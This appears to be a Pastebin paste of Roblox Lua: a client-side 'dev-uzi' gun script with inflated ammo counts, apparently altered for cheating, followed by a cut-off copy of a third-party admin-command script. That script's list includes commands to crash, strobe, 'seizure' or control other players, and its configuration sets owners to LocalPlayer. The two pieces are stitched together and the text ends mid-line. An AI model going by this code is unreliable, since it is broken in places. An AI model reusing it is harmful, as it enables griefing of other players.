Advertisement
Boss-1

Untitled

Oct 30th, 2016
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 432.72 KB | None | 0 0
  1. wait(0.001);
  2.  
  3. --------------------------------------------------------------------------------------
  4.  
  5. _clear=function()
  6. local c={char;bag;gui;};
  7. for i=1,#c do
  8. local c=c[i]:children();
  9. for i=1,#c do
  10. if(c[i].Name==name)then
  11. c[i].Parent=nil;
  12. end;
  13. end;
  14. end;
  15. local n=name..user.semity;
  16. local c=workspace:children();
  17. for i=1,#c do
  18. if(c[i].Name==n)then
  19. c[i].Parent=nil;
  20. end;
  21. end;
  22. end;
  23.  
  24. _valid_key=function(object,key)
  25. return object[key],key;
  26. end;
  27.  
  28. _new=function(class)
  29. return function(props)
  30. if(type(list_base_props)=='table')then
  31. for i,v in next,list_base_props do
  32. if(props[i]==nil)then
  33. props[i]=v;
  34. end;
  35. end;
  36. end;
  37.  
  38. local object=class;
  39.  
  40. if(type(class)=='string')then
  41. object=Instance.new(class:sub(1,1):upper()..class:sub(2));
  42. end;
  43.  
  44. local parent=props[1];
  45. props[1]=nil;
  46.  
  47. for i,v in next,props do
  48. local load,res,key=pcall(_valid_key,object,i:sub(1,1):upper()..i:sub(2));
  49. if(not load)then
  50. load,res,key=pcall(_valid_key,object,i);
  51. end;
  52.  
  53. if(key)then
  54. t=type(res);
  55. s=tostring(res);
  56. if(t=='userdata'and s=='Signal '..key)then
  57. if(type(v)=='table')then
  58. for i=1,#v do
  59. res:connect(v[i]);
  60. end;
  61. else
  62. res:connect(v);
  63. end;
  64. else
  65. object[key]=v;
  66. end;
  67. end;
  68. end;
  69.  
  70. if(parent)then
  71. object.Parent=parent;
  72. end;
  73.  
  74. return object;
  75. end;
  76. end;
  77.  
  78. _RGB=function(r,g,b)
  79. return Color3.new(r/255,g/255,b/255);
  80. end;
  81.  
  82. _copy=function(o)
  83. local def=o.archivable;
  84. o.archivable=true;
  85. local c=o:clone();
  86. o.archivable=def;
  87. return c;
  88. end;
  89.  
  90. _hum=function(char)
  91. local hum=char:findFirstChild'Humanoid';
  92. if(not hum or hum.className~='Humanoid')then
  93. local c=char:children();
  94. for i=1,#c do
  95. if(c[i].className=='Humanoid')then
  96. return c[i];
  97. end;
  98. end;
  99. else
  100. return hum;
  101. end;
  102. end;
  103.  
  104. _hum_tag=function(hum)
  105. local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum);
  106. c.Name='creator';
  107. c.Value=user;
  108. if(hum.Health==0 and not hum:findFirstChild'killed')then
  109. Instance.new('BoolValue',hum).Name='killed';
  110. bullets.clip=bullets.clip+10;
  111. end;
  112. end;
  113.  
  114. _hum_dam=function(hum,dam,percent)
  115. hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam);
  116. if(hum.Health<=hum.MaxHealth*0.1)then
  117. _hum_tag(hum);
  118. end;
  119. end;
  120.  
  121. _ray=function(v0,v1,i)
  122. local mag=(v0-v1).magnitude;
  123. local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
  124.  
  125. return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or workspace.FindPartOnRay)(workspace,ray,i);
  126. end;
  127.  
  128. _must=function(v0,v1,i)
  129. local hit,pos=_ray(v0,v1,i);
  130. return not hit and mouse.target or hit,pos;
  131. end;
  132.  
  133. _cframe=function(x,y,z,r0,r1,r2)
  134. return CFrame.Angles(
  135. math.rad(r0 or 0),
  136. math.rad(r1 or 0),
  137. math.rad(r2 or 0)
  138. )*CFrame.new(x,y,z);
  139. end;
  140.  
  141. _update=function()
  142. if(bool_active and not screen.Parent)then
  143. screen.Parent=gui;
  144. elseif(not bool_active and screen.Parent)then
  145. screen.Parent=nil;
  146. end;
  147. end;
  148.  
  149. _light=function(v0,v1)
  150. local mag=(v0-v1).magnitude;
  151. local len=math.random(2,7);
  152. len=len>mag/2 and mag/2 or len;
  153.  
  154. local light=_new'part'{
  155. cFrame=CFrame.new(v0,v1);
  156. size=Vector3.new(1,1,1);
  157. color=_RGB(255,255,0);
  158. anchored=true;
  159. inv;
  160. };
  161. _new'blockMesh'{
  162. scale=Vector3.new(0.2,0.2,len);
  163. offset=Vector3.new(0,0,-len/2);
  164. light;
  165. };
  166.  
  167. local bb=_new'billboardGui'{
  168. size=UDim2.new(2,0,2,0);
  169. adornee=light;
  170. light;
  171. };
  172. _new'imageLabel'{
  173. image=url:format(109101526);
  174. backgroundTransparency=1;
  175. size=UDim2.new(1,0,1,0);
  176. bb;
  177. };
  178.  
  179. _rem(light,0.15);
  180. end;
  181.  
  182. _rem=function(object,del)
  183. if(del)then
  184. delay(del,function()
  185. if(object.Parent)then
  186. object.Parent=nil;
  187. end;
  188. end);
  189. else
  190. pcall(function()
  191. if(object.Parent)then
  192. object.Parent=nil;
  193. end;
  194. end);
  195. end;
  196. end;
  197.  
  198. _blood=function(pos,count)
  199. for i=1,count do
  200. local p=_new'part'{
  201. rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;
  202. position=pos+Vector3.new(math.random(),math.random(),math.random());
  203. velocity=Vector3.new(math.random(),math.random(),math.random())*50;
  204. size=Vector3.new(math.random(),math.random(),math.random())/3;
  205. color=_RGB(255,0,0);
  206. transparency=0.5;
  207. canCollide=true;
  208. bottomSurface=0;
  209. topSurface=0;
  210. formFactor=3;
  211. locked=true;
  212. inv;
  213. };
  214. delay(5,function()
  215. p.Parent=nil;
  216. end);
  217. end;
  218. end;
  219.  
  220. _make_hue=function()
  221. h_hue=_new'part'{
  222. size=Vector3.new(0.25,1.8,0.35);
  223. color=_RGB(100,100,100);
  224. formFactor=3;
  225. name='hue';
  226. handle;
  227. };
  228. hh_weld=_new'weld'{
  229. c1=_cframe(0,0.5,0);
  230. part0=handle;
  231. part1=h_hue;
  232. handle;
  233. };
  234. end;
  235.  
  236. _shot=function(v0,v1)
  237. if(not time_left)then
  238. time_left=0;
  239. end;
  240. if(time_left>time())then
  241. return nil;
  242. else
  243. time_left=time()+math.random(1,10)/100;
  244. end;
  245.  
  246. if(bullets.current<1)then
  247. local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{
  248. soundId='rbxasset://sounds/SWITCH3.wav';
  249. name='tick_sound';
  250. volume=0.2;
  251. pitch=2;
  252. head;
  253. };
  254. tick_sound:play();
  255. if(bullets.clip>0)then
  256. time_left=time()+2;
  257. h_hue:breakJoints();
  258. h_hue.CanCollide=true;
  259. h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
  260. _rem(h_hue,10);
  261. delay(1.9,function()
  262. _make_hue();
  263. local got=(bullets.clip>bullets.maximum and
  264. bullets.maximum or
  265. bullets.clip)-bullets.current;
  266.  
  267. bullets.clip=bullets.clip-got;
  268. bullets.current=bullets.current+got;
  269. end);
  270. end;
  271. return nil;
  272. else
  273. bullets.current=bullets.current-1;
  274.  
  275. h_weld.C1=_cframe(0,0.75,0,
  276. -math.random(1000,1100)/10,180,0);
  277. d_weld.C1=_cframe(0,-0.25,0.3);
  278.  
  279. lightstuff.Visible=true;
  280. delay(0.1,function()
  281. lightstuff.Visible=false;
  282. end);
  283.  
  284. _rem(_new'part'{
  285. velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-4,-5,0)).p).lookVector*10;
  286. cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
  287. size=Vector3.new(0.1,0.1,0.4);
  288. color=_RGB(200,200,0);
  289. material='Slate';
  290. canCollide=true;
  291. formFactor=3;
  292. inv;
  293. },5);
  294. delay(0.1,function()
  295. d_weld.C1=_cframe(0,-0.25,0);
  296. if(bool_active)then
  297. h_weld.C1=h_weld_cf_active;
  298. end;
  299. end)
  300. end;
  301.  
  302. local hit,pos=_must(v0,v1,char);
  303.  
  304. shot_sound:play();
  305.  
  306. _light(v0,v1);
  307.  
  308. if(not hit)then return nil;end;
  309.  
  310. if(hit.Parent.className=='Hat')then
  311. hit:breakJoints();
  312. hit.CanCollide=true;
  313. hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);
  314. hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
  315. else
  316. local hum=_hum(hit.Parent);
  317. if(not hum)then
  318. if(hit.Anchored==false and hit.Size.magnitude<4)then
  319. hit:breakJoints();
  320. hit.CanCollide=true;
  321. end;
  322. else
  323. _hum_dam(hum,math.random(4,6));
  324. _blood(pos,math.random(3,6));
  325. hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/6;
  326. if(hit.Name=='Head')then
  327. hum.Health=0;
  328. _blood(pos,math.random(3,6));
  329. delay(0.001,function()
  330. _new(workspace:FindFirstChild'head_shot'or'sound'){
  331. pitch=math.random(70,100)*0.01;
  332. soundId=url:format(1876552);
  333. name='head_shot';
  334. workspace;
  335. }:play();
  336. end);
  337. _hum_tag(hum);
  338. _rem(_new'part'{
  339. cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-(v0-pos).magnitude*0.5);
  340. size=Vector3.new(0.1,0.1,(v0-pos).magnitude);
  341. color=torso.Color;
  342. transparency=0.5;
  343. canCollide=false;
  344. bottomSurface=0;
  345. anchored=true;
  346. formFactor=3;
  347. topSurface=0;
  348. inv;
  349. },30);
  350. hit.Parent=nil;
  351. for b=0,1 do
  352. for a=0,1 do
  353. for i=0,1 do
  354. _rem(_new'part'{
  355. velocity=CFrame.new(v0,pos).lookVector*20;
  356. cFrame=hit.CFrame*CFrame.new(i,-b,a);
  357. size=Vector3.new(0.5,0.5,0.5);
  358. color=_RGB(255,255,255);
  359. bottomSurface=0;
  360. canCollide=true;
  361. transparency=0;
  362. formFactor=3;
  363. topSurface=0;
  364. hum;
  365. },30);
  366. end;
  367. end;
  368. end;
  369. end;
  370. end;
  371. end;
  372. end;
  373.  
  374. ----------------------------------------------------------------------------------------
  375.  
  376. _cf_select=function(mouse)
  377. mouse.Icon=url:format(109111387);--108999296
  378. bool_active=true;
  379.  
  380. local arm=char:findFirstChild'Right Arm';
  381. local weld=torso:findFirstChild'Right Shoulder';
  382. if(arm and weld)then
  383. h_weld.Part0=arm;
  384. h_weld.C1=h_weld_cf_active;
  385.  
  386. weld.Part1=nil;
  387. weld.Part0=nil;
  388.  
  389. weld=_new(torso:findFirstChild'right_arml'or'weld'){
  390. name='right_arml';
  391. part0=torso;
  392. part1=arm;
  393. torso;
  394. };
  395.  
  396. arml=(arml or 0)+1;
  397. local alv=arml;
  398. local gyro=torso:findFirstChild'p_gyro'or Instance.new('BodyGyro',torso);
  399. gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
  400. gyro.P=30000;
  401. gyro.D=1000;
  402. gyro.Name='p_gyro';
  403. repeat
  404. local pos=mouse.hit.p;
  405. local val,valp,p0,p1,p2,hitpos,cj,c0,c1;
  406.  
  407. val=-math.pi*0.5;
  408. valp=val*-1;
  409. p0=torso.CFrame;
  410. p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+(p0*CFrame.Angles(0,val,0)).lookVector;
  411. p1=p0+((p0.p-pos).unit*-2);
  412. p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
  413. hitpos=torso.Position;
  414. cj=CFrame.new(hitpos);
  415. c0=torso.CFrame:inverse()*cj;
  416. c1=p2:inverse()*cj;
  417. weld.C0=c0;
  418. weld.C1=c1;
  419.  
  420. gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));
  421.  
  422. wait(0.001);
  423. until arml~=alv;
  424. gyro.Parent=nil;
  425. end;
  426. end;
  427.  
  428. _cf_deselect=function()
  429. bool_active=false;
  430. arml=(arml or 0)+1;
  431. loop_shot=(loop_shot or 0)+1;
  432.  
  433. h_weld.Part0=torso;
  434. h_weld.C1=h_weld_cf_inactive;
  435.  
  436. local weld=torso:findFirstChild'right_arml';
  437. if(weld)then
  438. weld.Part1=nil;
  439. weld.Part0=nil;
  440. end;
  441. local arm=char:findFirstChild'Right Arm';
  442. local weld=torso:findFirstChild'Right Shoulder';
  443. if(arm and weld)then
  444. weld.Part0=torso;
  445. weld.Part1=arm;
  446. end;
  447. end;
  448.  
  449. _cf_mouse=function(event,fun)
  450. mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
  451. if(bool_active)then
  452. fun(...);
  453. end;
  454. end);
  455. end;
  456.  
  457. ----------------------------------------------------------------------------------------
  458.  
  459. do
  460. local main=getfenv(0);
  461. local c=game:children();
  462. local check=function(v)
  463. if(v.className~=''and v.className~='Instance'and game:service(v.className))then
  464. main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
  465. end;
  466. end;
  467. for i=1,#c do
  468. pcall(check,c[i]);
  469. end;
  470. end;
  471.  
  472. ----------------------------------------------------------------------------------------
  473.  
  474. bullets={
  475. maximum=51111111111111111111111111110;
  476. current=511111111111111111111111111111110;
  477. clip=501111111111111111111111111111111*4;
  478. };
  479.  
  480. list_base_props={
  481. backgroundColor3=_RGB(0,0,0);
  482. textColor3=_RGB(200,200,200);
  483. borderSizePixel=0;
  484. color=_RGB(0,0,0);
  485. archivable=false;
  486. canCollide=false;
  487. bottomSurface=0;
  488. topSurface=0;
  489. formFactor=0;
  490. locked=true;
  491. };
  492.  
  493. ----------------------------------------------------------------------------------------
  494.  
  495. user=players.localPlayer;
  496. mouse=user:getMouse();
  497. char=user.Character;
  498. gui=user.PlayerGui;
  499. bag=user.Backpack;
  500. torso=char.Torso;
  501. head=char.Head;
  502. hum=_hum(char);
  503.  
  504. url='rbxassetid://%d';
  505. name='dev-uzi';
  506.  
  507. h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
  508. 0,90,-70);
  509. h_weld_cf_active=_cframe(0,0.75,0,
  510. -110,180,0);
  511.  
  512. assert(hum,'humanoid is not found');
  513.  
  514. ----------------------------------------------------------------------------------------
  515.  
  516. _clear();
  517.  
  518. ----------------------------------------------------------------------------------------
  519.  
  520. _cf_mouse('button1Down',function()
  521. loop_shot=(loop_shot or 0)+1;
  522. local vers=loop_shot;
  523. local step=runService.Stepped;
  524. repeat
  525. _shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
  526. step:wait();--wait(0.001);
  527. until vers~=loop_shot;
  528. end);
  529.  
  530. _cf_mouse('button1Up',function()
  531. loop_shot=(loop_shot or 0)+1;
  532. end);
  533.  
  534. _cf_mouse('move',function()
  535. cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
  536. end);
  537.  
  538. _cf_mouse('keyDown',function(k)
  539. if(k=='r')then
  540. if(bullets.clip>0 and time_left<=time())then
  541. local got=(bullets.clip>bullets.maximum and
  542. bullets.maximum or
  543. bullets.clip)-bullets.current;
  544.  
  545. bullets.clip=bullets.clip-got;
  546. bullets.current=bullets.current+got;
  547. if(got~=0)then
  548. time_left=time()+2;
  549. end;
  550. end;
  551. end;
  552. end);
  553.  
  554. ----------------------------------------------------------------------------------------
  555.  
  556. screen=_new'screenGui'{
  557. name=name;
  558. };
  559.  
  560. cross_f=_new'frame'{
  561. size=UDim2.new(0,21,0,21);
  562. backgroundTransparency=1;
  563. screen;
  564. };
  565.  
  566. for i=0,1 do
  567. _new'frame'{
  568. position=UDim2.new(0,13*i,0,11);
  569. size=UDim2.new(0,10,0,1);
  570. cross_f;
  571. };
  572. end;
  573.  
  574. for i=0,1 do
  575. _new'frame'{
  576. position=UDim2.new(0,11,0,13*i);
  577. size=UDim2.new(0,1,0,10);
  578. cross_f;
  579. };
  580. end;
  581.  
  582. ----------------------------------------------------------------------------------------
  583.  
  584. shot_sound=_new(head:findFirstChild'2920959'or'sound'){
  585. soundId=url:format(2920959);
  586. pitch=1.4;
  587. head;
  588. };
  589. if(shot_sound.Name~='2920959')then
  590. shot_sound.Name='2920959';
  591. shot_sound:play();
  592. end;
  593.  
  594. bin=_new'hopperBin'{
  595. deselected=_cf_deselect;
  596. selected=_cf_select;
  597. name=name;
  598. bag;
  599. };
  600.  
  601. inv=_new'model'{
  602. name=name;
  603. char;
  604. };
  605.  
  606. handle=_new'part'{
  607. size=Vector3.new(0.3,1.3,0.4);
  608. color=_RGB(140,140,140);
  609. name='handle';
  610. formFactor=3;
  611. inv;
  612. touched=function(hit)
  613. if(hit.Parent.className=='Model')then
  614. local hum=_hum(hit.Parent);
  615. if(hum~=nil)then
  616. _hum_dam(hum,handle.Velocity.magnitude);
  617. end;
  618. end;
  619. end;
  620. };
  621. h_weld=_new'weld'{
  622. c1=h_weld_cf_inactive;
  623. part1=handle;
  624. part0=torso;
  625. handle;
  626. };
  627. _make_hue();
  628.  
  629. h_part=_new'part'{
  630. size=Vector3.new(0.4,0.4,1.4);
  631. color=_RGB(140,140,140);
  632. name='handle';
  633. formFactor=3;
  634. handle;
  635. };
  636. hp_weld=_new'weld'{
  637. c1=_cframe(0,-1.3/2,-0.3,
  638. 20,0,0);
  639. part0=handle;
  640. part1=h_part;
  641. handle;
  642. };
  643.  
  644. drag=_new'part'{
  645. size=Vector3.new(0.5,0.45,1.5);
  646. color=_RGB(100,100,100);
  647. name='handle';
  648. formFactor=3;
  649. handle;
  650. };
  651. d_weld=_new'weld'{
  652. c1=_cframe(0,-0.25,0);
  653. part0=h_part;
  654. part1=drag;
  655. handle;
  656. };
  657.  
  658. tube=_new'part'{
  659. size=Vector3.new(0.2,0.2,1.5);
  660. color=_RGB(0,0,0);
  661. name='handle';
  662. formFactor=3;
  663. handle;
  664. };
  665. t_weld=_new'weld'{
  666. c1=_cframe(0,-0.3,-0.1);
  667. part0=h_part;
  668. part1=tube;
  669. handle;
  670. };
  671.  
  672. bullets_label=_new'textLabel'{
  673. textStrokeColor3=_RGB(0,0,0);
  674. textColor3=_RGB(200,200,200);
  675. textStrokeTransparency=0;
  676. backgroundTransparency=1;
  677. fontSize=5;
  678. screen;
  679. };
  680.  
  681. lightstuff=_new'frame'{
  682. backgroundColor3=_RGB(255,255,255);
  683. position=UDim2.new(0,0,0,-1);
  684. backgroundTransparency=0.5;
  685. size=UDim2.new(1,0,1,1);
  686. borderSizePixel=0;
  687. visible=false;
  688. screen;
  689. };
  690.  
  691. coroutine.wrap(function()
  692. local red,white,green;
  693. repeat
  694. if(screen.Parent)then
  695. if(not green and bullets.current==bullets.maximum)then
  696. green=true;
  697. bullets_label.TextColor3=_RGB(0,200,0);
  698. elseif(not red and bullets.current==0)then
  699. red=true;
  700. bullets_label.TextColor3=_RGB(200,0,0);
  701. elseif((red or green)and bullets.current~=0 and bullets.current~=bullets.maximum)then
  702. bullets_label.TextColor3=_RGB(200,200,200);
  703. green=false;
  704. red=false;
  705. end;
  706. bullets_label.Text=('Bullets: %d/%d'):format(bullets.current,bullets.clip);
  707. bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBounds.Y);
  708. bullets_label.Position=UDim2.new(1,-bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
  709. end;
  710. wait(0.001);
  711. until nil;
  712. end)();
  713.  
  714. ----------------------------------------------------------------------------------------
  715.  
  716. _G.dev_pistol_version=(_G.dev_pistol_version or 0)+1;
  717. local vers=_G.dev_pistol_version;
  718. repeat _update();wait(0.001);until _G.dev_pistol_version~=vers or hum.Health==0;
  719. if(hum.Health==0)then
  720. _clear();
  721. end;
  722. script.Disabled=true;
  723.  
  724. --mediafire-----------------------------------------------------------------------------
  725.  
  726.  
  727. -----------------------------------------------------------------------------------------
  728. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
  729. -----------------------------------------------------------------------------------------
  730. local owners = LocalPlayer -- Are able to set admins who can ban/etc... using :pa name
  731. local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
  732. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  733. local banland = {"MasterKhaos"} -- Permanently Bans people
  734. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  735. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  736. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  737. ---------------------
  738. -- VIP Admin --
  739. ---------------------
  740. local VipAdmin = false -- If someone can have admin for owning an item
  741. local ItemId = 0 -- The item they must own in order to have admin
  742. ---------------------
  743. -- Group Admin --
  744. ---------------------
  745. local GroupAdmin = false -- If a certain group can have admin
  746. local GroupId = 0 -- Sets the group id that can have admin
  747. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  748. ---------------------
  749. -- Tips and Tricks --
  750. ---------------------
  751. --[[
  752. With this admin you can do a command on multiple people at a time;
  753. :kill me,noob1,noob2,random,team-raiders,nonadmins
  754.  
  755. You can also use a variety commands for different people;
  756. all
  757. others
  758. me
  759. team-
  760. admins
  761. nonadmins
  762. random
  763. --]]
  764. ---------------------
  765. -- Commands --
  766. ---------------------
  767. --[[
  768. -- |Temp Admin Commands| --
  769. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  770. 1. :s print("Hello World") -- Lets you script normally
  771. 2. :ls print("Hello World") -- Lets you script in localscripts
  772. 3. :clear -- Will remove all scripts/localscripts and jails
  773. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  774. 5. :kill kohl -- Kills the player
  775. 6. :respawn kohl -- Respawns the player
  776. 7. :trip kohl -- Trips the player
  777. 8. :stun kohl -- Stuns the player
  778. 9. :unstun kohl -- Unstuns the player
  779. 10. :jump kohl -- Makes the player jump
  780. 11. :sit kohl -- Makes the player sit
  781. 12. :invisible kohl -- Makes the player invisible
  782. 13. :visible kohl -- Makes the player visible
  783. 14. :explode kohl -- Makes the player explode
  784. 15. :fire kohl -- Sets the player on fire
  785. 16. :unfire kohl -- Removes fire from the player
  786. 17. :smoke kohl -- Adds smoke to the player
  787. 18. :unsmoke kohl -- Removes smoke from the player
  788. 19. :sparkles kohl -- Adds sparkles to the player
  789. 20. :unsparkles kohl -- Removes sparkles from the player
  790. 21. :ff kohl -- Adds a forcefield to the player
  791. 22. :unff kohl -- Removes the forcefield from the player
  792. 23. :punish kohl -- Punishes the player
  793. 24. :unpunish kohl -- Unpunishes the player
  794. 25. :freeze kohl -- Freezes the player
  795. 26. :thaw kohl -- Thaws the player
  796. 27. :heal kohl -- Heals the player
  797. 28. :god kohl -- Makes the player have infinite health
  798. 29. :ungod kohl -- Makes the player have 100 health
  799. 30. :ambient .5 .5 .5 -- Changes the ambient
  800. 31. :brightness .5 -- Changes the brightness
  801. 32. :time 12 -- Changes the time
  802. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  803. 34. :fogend 100 -- Changes the fogend
  804. 35. :fogstart 100 -- Changes the fogstart
  805. 36. :removetools kohl -- Removes all tools from the player
  806. 37. :btools kohl -- Gives the player building tools
  807. 38. :give kohl sword -- Gives the player a tool
  808. 39. :damage kohl -- Damages the player
  809. 40. :grav kohl -- Sets the player's gravity to normal
  810. 41. :setgrav kohl 100 -- Sets the player's gravity
  811. 42. :nograv kohl -- Makes the player have 0 gravity
  812. 43. :health kohl 1337 -- Changes the player's health
  813. 44. :speed kohl 1337 -- Changes the player's walkspeed
  814. 45. :name kohl potato -- Changes the player's name
  815. 46. :unname kohl -- Remove the player's name
  816. 47. :team kohl Raiders -- Changes the player's team
  817. 48. :stopmusic -- Will stop all music playing in the server
  818. 49. :teleport kohl potato -- Teleports the player
  819. 50. :change kohl kills 1337 -- Changes a player's stat
  820. 51. :kick kohl -- Removes the player from the game
  821. 52. :infect kohl -- Turns the player into a zombie
  822. 53. :rainbowify kohl -- Turns the player into a rainbow
  823. 54. :flashify kohl -- Turns the player into a strobe
  824. 55. :noobify kohl -- Turns the player into a noob
  825. 56. :ghostify kohl -- Turns the player into a ghost
  826. 57. :goldify kohl -- Turns the player into gold
  827. 58. :shiny kohl -- Makes the player shiny
  828. 59. :normal kohl -- Puts the player back to normal
  829. 60. :trippy kohl -- Spams random colors on the player's screen
  830. 61. :untrippy kohl -- Untrippys the player
  831. 62. :strobe kohl -- Spams white and black on the player's screen
  832. 63. :unstrobe kohl -- Unstrobes the player
  833. 64. :blind kohl -- Blinds the player
  834. 65. :unblind kohl -- Unblinds the player
  835. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  836. 67. :fling kohl -- Flings the player
  837. 68. :seizure kohl -- Puts the player in a seizure
  838. 69. :music 1337 -- Plays a sound from the ID
  839. 70. :lock kohl -- Locks the player
  840. 71. :unlock kohl -- Unlocks the player
  841. 72. :removelimbs kohl -- Removes the player's limbs
  842. 73. :jail kohl -- Puts the player in a jail
  843. 74. :unjail kohl -- Removes the jail from the player
  844. 75. :fix -- This will fix the lighting to it's original settings
  845. 76. :fly kohl -- Makes the player fly
  846. 77. :unfly kohl -- Removes fly from the player
  847. 78. :noclip kohl -- Makes the player able to noclip
  848. 79. :clip kohl -- Removes noclipping from the player
  849. 80. :pm kohl Hey bro -- Sends the player a private message
  850. 81. :dog kohl -- Turns the player into a dog
  851. 82. :undog kohl -- Turns the player back to normal
  852. 83. :creeper kohl -- Turns the player into a creeper
  853. 84. :uncreeper kohl -- Turns the player back to normal
  854. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  855. 86. :char kohl 261 -- Will make a player look like a different player ID
  856. 87. :unchar kohl -- Will return the player back to normal
  857. 88. :h Hello People -- This will shout a hint to everyone
  858. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  859. 90. :starttools kohl -- Will give the player starter tools
  860. 91. :sword kohl -- Will give the player a sword
  861. 92. :bighead kohl -- Will make the player's head larger than normal
  862. 93. :minihead kohl -- Will make the player's head smaller than normal
  863. 94. :insert 1337 -- Will insert a model at the speaker's position
  864. 95. :disco -- Will make the server flash random colors
  865. 96. :flash -- Will make the server flash
  866. 97. :admins -- Shows the admin list
  867. 98. :bans -- Shows the banlist
  868. 99. :musiclist -- Shows the music list
  869. 100. :spin kohl -- Spins the player
  870. 101. :cape kohl Really black -- Gives the player a colored cape
  871. 102. :uncape kohl -- Removes the player's cape
  872. 103. :loopheal kohl -- Will constantly heal the player
  873. 104. :loopfling kohl -- Will constantly fling the player
  874. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  875. 106. :unloopheal kohl -- Will remove the loopheal on the player
  876. 107. :unloopfling kohl -- Will remove the loopfling on the player
  877. 108. :unspin kohl -- Removes spin from the player
  878. 109. :tools -- Gives a list of the tools in the lighting
  879. 110. :undisco -- Removes disco effects
  880. 111. :unflash -- Removes flash effects
  881. 112. :resetstats kohl -- Sets all the stats of a player to 0
  882. 113. :gear kohl 1337 -- Gives a player a gear
  883. 114. :cmdbar -- Gives the speaker a command bar
  884. 115. :shirt kohl 1337 -- Changes the player's shirt
  885. 116. :pants kohl 1337 -- Changes the player's pants
  886. 117. :face kohl 1337 -- Changes the player's face
  887. 118. :swagify kohl -- Swagifies the player
  888. 119. :version -- Shows the current version of the admin
  889. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  890. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  891. 122. :clone kohl -- Creates a clone of the player
  892. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  893. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  894. 125. :control kohl -- Controls a player
  895.  
  896. -- |Admin Commands| --
  897. - :serverlock -- Locks the server
  898. - :serverunlock -- Unlocks the server
  899. - :sm Hello World -- Creates a system message
  900. - :crash kohl -- Crashes a player
  901. - :admin kohl -- Admins a player
  902. - :unadmin kohl -- Unadmins a player
  903. - :ban kohl -- Bans a player
  904. - :unban kohl -- Unbans a player
  905. - :loopkill kohl -- Will constantly kill the player
  906. - :unloopkill kohl -- Will remove the loopkill on the player
  907. - :logs -- Will show all of the commands any admin has used in a game session
  908. - :shutdown -- Shutsdown the server
  909.  
  910. -- |Owner Commands| --
  911. - :pa kohl -- Makes someone a super admin
  912. - :unpa kohl -- Removes a super admin
  913. - :nuke kohl -- Creates a nuke on kohl
  914.  
  915. -- |True Owner Commands| --
  916. - :oa kohl -- Makes someone an owner
  917. - :unoa kohl -- Removes an owner
  918. - :settings -- Shows settings for the commands
  919. --]]
  920. ---------------------
  921. -- Main Script --
  922. ---------------------
  923. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  924.  
  925. function CHEESE()
  926. if game:service("Lighting"):findFirstChild("KACV2") then
  927. owners = {} admins = {} tempadmins = {} banland = {}
  928. for i,v in pairs(game.Lighting.KACV2:children()) do
  929. if v.Name == "Owner" then table.insert(owners, v.Value) end
  930. if v.Name == "Admin" then table.insert(admins, v.Value) end
  931. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  932. if v.Name == "Banland" then table.insert(banland, v.Value) end
  933. if v.Name == "Prefix" then prefix = v.Value end
  934. if v.Name == "FunCommands" then FunCommands = v.Value end
  935. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  936. if v.Name == "GroupId" then GroupId = v.Value end
  937. if v.Name == "GroupRank" then GroupRank = v.Value end
  938. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  939. if v.Name == "ItemId" then ItemId = v.Value end
  940. end
  941. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  942. end
  943.  
  944. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  945. local lobjs = {}
  946. local objects = {}
  947. local logs = {}
  948. local nfs = ""
  949. local slock = false
  950.  
  951. function GetTime()
  952. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
